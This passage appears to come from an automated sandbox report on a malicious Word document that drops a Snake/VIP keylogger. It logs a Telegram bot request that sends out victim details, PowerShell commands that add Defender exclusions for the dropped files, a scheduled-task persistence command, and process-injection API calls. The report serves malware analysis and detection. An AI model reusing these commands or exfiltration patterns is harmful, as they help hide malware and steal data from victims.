States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49200	188.114.96.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:52 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:52 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52965 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BJNaFU6EgRFSXHj%2B4qAYOuGr%2FEuNrE4%2F5rMkOs73ov2qYm0YhLl2jmDuWcDbC8qzb84wHWJRcPYvlweOV6D%2FfDa%2B9Vo5HBKi66awTsXPAdfQNUO0MWHZYhAQyPYnVMC7tTwOPfgd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9794459fc8c47f-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:52 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49202	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:53 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:53 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:53 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52966 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aB3zpvJ%2FvdHyvi3XsYlyByJVkLeTqLzDDmKs0fMUHrGZ2VBf3t4qrNdj2bsU1CvvStQOFbIIS%2F70szXjP3xaUkWcsjFaPL4AWpK2dZvYCKi%2BhWya7bupAN1H2kPcQvftxGiBUzIc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a97944d0cff0f7f-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:53 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49203	149.154.167.220	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:54 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%2010:06:41%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-07-26 21:45:54 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 26 Jul 2024 21:45:54 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-26 21:45:54 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	17:45:00
Start date:	26/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13fa30000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	17:45:18
Start date:	26/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	17:45:20
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\swagodi78811.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\swagodi78811.scr"
Imagebase:	0x8d0000
File size:	683'016 bytes
MD5 hash:	C448536AEEA36B80A15D639E31C7B847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.412121084.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	17:45:21
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\swagodi78811.scr"
Imagebase:	0xff0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	17:45:22
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Imagebase:	0xff0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	17:45:23
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpD135.tmp"
Imagebase:	0x430000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	17:45:24
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\swagodi78811.scr
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\swagodi78811.scr"
Imagebase:	0x8d0000
File size:	683'016 bytes
MD5 hash:	C448536AEEA36B80A15D639E31C7B847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	17:45:25
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\swagodi78811.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\swagodi78811.scr"
Imagebase:	0x8d0000
File size:	683'016 bytes
MD5 hash:	C448536AEEA36B80A15D639E31C7B847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000014.00000002.663140063.000000000042B000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.663140063.000000000043C000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000014.00000002.663684485.00000000023F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	17:45:25
Start date:	26/07/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {52F5B264-C702-43C6-8445-EB0747C55549} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	17:45:26
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\gRpkBp.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gRpkBp.exe
Imagebase:	0xaa0000
File size:	683'016 bytes
MD5 hash:	C448536AEEA36B80A15D639E31C7B847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	17:45:30
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Imagebase:	0x11c0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 2504, Parent PID: 4016

General

Target ID:	25
Start time:	17:45:30
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\gRpkBp.exe"
Imagebase:	0x11c0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: schtasks.exePID: 3244, Parent PID: 4016

General

Target ID:	27
Start time:	17:45:31
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gRpkBp" /XML "C:\Users\user\AppData\Local\Temp\tmpED3D.tmp"
Imagebase:	0x160000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	17:45:34
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Roaming\gRpkBp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\gRpkBp.exe"
Imagebase:	0xaa0000
File size:	683'016 bytes
MD5 hash:	C448536AEEA36B80A15D639E31C7B847
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001D.00000002.663663825.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	83
Total number of Limit Nodes:	1

Executed Functions

Function 002804D8 Relevance: 2.5, Strings: 1, Instructions: 1215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ppp, xrefs: 002822C2

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID:
String ID: Ppp
API String ID: 0-99483665
Opcode ID: 250564efd27ffba731edd5c8da14d1ed7d82569e709a80f70a67e05a9a0221d1
Instruction ID: cec53097fbb3f1e474cb1df6ed44c52e37422f05f057d13aeb67c4a2f98734de
Opcode Fuzzy Hash: 250564efd27ffba731edd5c8da14d1ed7d82569e709a80f70a67e05a9a0221d1
Instruction Fuzzy Hash: 03C2D634A11219CFCB64DF64C894AD9B7B2FF8A300F5185E9E409AB365DB30AE95CF50

Function 00289AB0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e12064e865ebf0d6cd2a11175699909206196569096325c8168a2783b654ac15
Instruction ID: 80d694ac46ea1370f6f07ad8c528890d7f0fe6aea9c0b2778d59967941656eb0
Opcode Fuzzy Hash: e12064e865ebf0d6cd2a11175699909206196569096325c8168a2783b654ac15
Instruction Fuzzy Hash: F22106B4D156188BEB18DF9BC8443EEFAF6AFC9300F14C06AD409762A4DBB409958F90

Function 00422154 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.410622935.0000000000420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_420000_swagodi78811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 635797ed0d83a7b0ea51ec27a84eb8934cd4fec48a9f4a07349ae09cc84bb152
Instruction ID: ff8e1d502ba9d389270e161f4ef1a42d28ecb651dfc490a50cdfa06ae15df2b0
Opcode Fuzzy Hash: 635797ed0d83a7b0ea51ec27a84eb8934cd4fec48a9f4a07349ae09cc84bb152
Instruction Fuzzy Hash: 4EA00284F9F464D180402D142B410B7C1BC131F314EE13923990A334634598C052655E

Function 0028E8AC Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 330
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0028EB7F

Strings

l0e, xrefs: 0028EAD2
l0e, xrefs: 0028ECC7
l0e, xrefs: 0028EC02

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: CreateProcess
String ID: l0e$l0e$l0e
API String ID: 963392458-2815422308
Opcode ID: 8defbb5e72c29bad7815eda4acd677fb91db34f6f4f6d17fab4c568b32a72f9f
Instruction ID: e0cad89dfc7016fe901b3fd3802149bc03820157ce8d7fcaa01f6be70dd816e8
Opcode Fuzzy Hash: 8defbb5e72c29bad7815eda4acd677fb91db34f6f4f6d17fab4c568b32a72f9f
Instruction Fuzzy Hash: 5EC14B74D112698FDF24DFA8C841BEDBBB1BF09300F0091AAD819B7290DB749A95CF95

Function 0028E8B8 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0028EB7F

Strings

l0e, xrefs: 0028EAD2
l0e, xrefs: 0028ECC7
l0e, xrefs: 0028EC02

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: CreateProcess
String ID: l0e$l0e$l0e
API String ID: 963392458-2815422308
Opcode ID: b5d469a95fbf778ce1512ecc121edad2d14368e4fb0a75c68c7efcd7ed209ed2
Instruction ID: 6802adc0b839c4118069c00983d3e944646e1cb7e0501b2f1dd8b94083114d71
Opcode Fuzzy Hash: b5d469a95fbf778ce1512ecc121edad2d14368e4fb0a75c68c7efcd7ed209ed2
Instruction Fuzzy Hash: C1C14A74D112298FDF24DFA8C841BEDBBB1BF09300F0091AAD819B7290DB749A95CF95

Function 00420B12 Relevance: 5.1, Strings: 4, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`~e, xrefs: 00420BC8
4ze, xrefs: 00420B68
4ze, xrefs: 00420B91
4ze, xrefs: 00420BFF

Memory Dump Source

Source File: 0000000A.00000002.410622935.0000000000420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_420000_swagodi78811.jbxd

Similarity

API ID:
String ID: 4ze$4ze$4ze$`~e
API String ID: 0-4279224308
Opcode ID: 57f1469233f19f6ea6438d525ce7d732bad28e87969f2f5b9bfa2c993fa3830c
Instruction ID: 519b331a93b36dff699000822ddd60ea36507538e78da1afd08284bac0b75f74
Opcode Fuzzy Hash: 57f1469233f19f6ea6438d525ce7d732bad28e87969f2f5b9bfa2c993fa3830c
Instruction Fuzzy Hash: 7D31B474E013099FDB05DFA0D855AAEBBB3EF89301F205129D80967395CA315E42CF90

Function 00420B22 Relevance: 2.5, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`~e, xrefs: 00420C6A
4ze, xrefs: 00420C8E

Memory Dump Source

Source File: 0000000A.00000002.410622935.0000000000420000.00000040.00000800.00020000.00000000.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_420000_swagodi78811.jbxd

Similarity

API ID:
String ID: 4ze$`~e
API String ID: 0-3519593027
Opcode ID: 4948a9101572af8936159aec2e0ececee9a3067dd91288aa923f762dc1575bf6
Instruction ID: 61d7098226e2129b6b35d35d44932d4bbf70c88b0d94506083921116e4c28287
Opcode Fuzzy Hash: 4948a9101572af8936159aec2e0ececee9a3067dd91288aa923f762dc1575bf6
Instruction Fuzzy Hash: 73116D78E052199FCB04DFE4E9948ACBBB6FB49301F20512AE80AAB355D7305946CF01

Function 0028E519 Relevance: 1.6, APIs: 1, Instructions: 120
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0028E5F3

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 576e014e48be72846b979f64a1535304255779ac0f79dbf60040733bbcf2338e
Instruction ID: 51ce354a0d596b994d182619dced207377513c5b8ddcd39f3ed458955e45d7a5
Opcode Fuzzy Hash: 576e014e48be72846b979f64a1535304255779ac0f79dbf60040733bbcf2338e
Instruction Fuzzy Hash: 8941B9B5D012589FCF00CFA9D984AEEFBF1BB49314F24942AE815B7250D338AA55CF64

Function 0028E520 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 0028E5F3

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 07e8fe25a7b3e7a609e29b2059aea4c28ccdc888094e1a7fae5d90173286773d
Instruction ID: 54ebf885dfeb98fe7dc14b5eea7686c496c0f624a6e2d579d11e1a27770ac525
Opcode Fuzzy Hash: 07e8fe25a7b3e7a609e29b2059aea4c28ccdc888094e1a7fae5d90173286773d
Instruction Fuzzy Hash: 9C41AAB4D012589FCF00CFA9D984AEEFBF1BB49314F24942AE814B7250D338AA55CF64

Function 0028E678 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0028E732

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a13aa85031de22252da7d12d185956d6bb771a40e344362d6777953452d85474
Instruction ID: 246652e4b7c8769cfe7bb48b34b338a9ab2783f783e1d2642b73664b7ca25476
Opcode Fuzzy Hash: a13aa85031de22252da7d12d185956d6bb771a40e344362d6777953452d85474
Instruction Fuzzy Hash: 5941C8B8D042589FCF10CFA9D884AEEFBB1BF49310F24942AE815B7250C735A956CF64

Function 0028E680 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0028E732

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 1b08db192c1d4822b5f9ae115c0fd3f40b9ff9ee9f7e92ec2f5d99c4dadb8728
Instruction ID: 9a735fac56998daa167f88477f5fe654bc7509825ebfa46c2ccdaad87f173338
Opcode Fuzzy Hash: 1b08db192c1d4822b5f9ae115c0fd3f40b9ff9ee9f7e92ec2f5d99c4dadb8728
Instruction Fuzzy Hash: 8441C9B8D002589FCF10CFAAD884AEEFBB1BF49310F24942AE814B7240D734A955CF64

Function 0028E3F1 Relevance: 1.6, APIs: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0028E4A2

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 356144a510429e567edbcbfe14fc8c6ba0cd87d283f968bb6e8a42a26deaad4f
Instruction ID: 79da57e29d65eaa528ee4e28547f32717026e82586851e840306a3c13a883fef
Opcode Fuzzy Hash: 356144a510429e567edbcbfe14fc8c6ba0cd87d283f968bb6e8a42a26deaad4f
Instruction Fuzzy Hash: C041AAB9D002589FCF10CFA9D984AEEFBB1BF49310F10941AE815BB250D735A915CFA5

Function 0028E3F8 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0028E4A2

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 976a7f34de84f060df036356bd19253589e76f8045cda08e85efba4154e115a9
Instruction ID: 6d51ca33613183fcda3b9f4e274b8e5cccca89c542c812d02df581e4a28b2dda
Opcode Fuzzy Hash: 976a7f34de84f060df036356bd19253589e76f8045cda08e85efba4154e115a9
Instruction Fuzzy Hash: 864197B8D002589FCF10CFA9D984AAEFBB1BB49310F20942AE815BB350D735A955CF65

Function 0028E2C1 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0028E377

Memory Dump Source

Source File: 0000000A.00000002.410592653.0000000000280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_280000_swagodi78811.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
